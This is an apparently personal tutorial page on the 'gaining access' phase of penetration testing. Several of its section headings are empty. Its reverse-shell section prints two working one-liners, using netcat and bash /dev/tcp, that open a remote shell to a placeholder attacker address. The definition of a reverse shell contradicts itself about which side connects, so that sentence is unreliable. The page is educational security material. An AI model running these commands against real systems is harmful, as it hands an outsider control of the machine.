Dante's Knowledge Base

A collection of guides and tutorials by Dante.


Project maintained by brodante Hosted on GitHub Pages — Theme by mattgraham

Gaining Access 🎯

The third phase of the penetration testing methodology: exploiting discovered vulnerabilities to gain unauthorized access to target systems.

What This Phase Is About

Once scanning identifies open ports, services, and potential vulnerabilities, the next step is to exploit them. This phase bridges the gap between identifying weaknesses and actually breaking in.

Tools & Frameworks

Common Exploitation Techniques

Web Application Attacks

Network & Service Attacks

Client-Side Attacks

Reverse Shells 🐚

A reverse shell is a technique where the attacker connects to the target, rather than waiting for connections to the attacker. The target machine initiates the connection back, often bypassing firewalls.

# Classic netcat reverse shell (from the target)
nc -e /bin/sh ATTACKER_IP 4444

# Bash reverse shell (from the target)
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Zero-Day Exploits

Zero-days are vulnerabilities unknown to the vendor, with no patch available. They are the most dangerous and valuable form of exploit. Track them via:

Practice Legally ✅

Next Steps

Once you gain access, move to Stabilizing Access to learn how to maintain your foothold.

← Back to Cybersecurity Hub

愛をこめて ダンテが作りました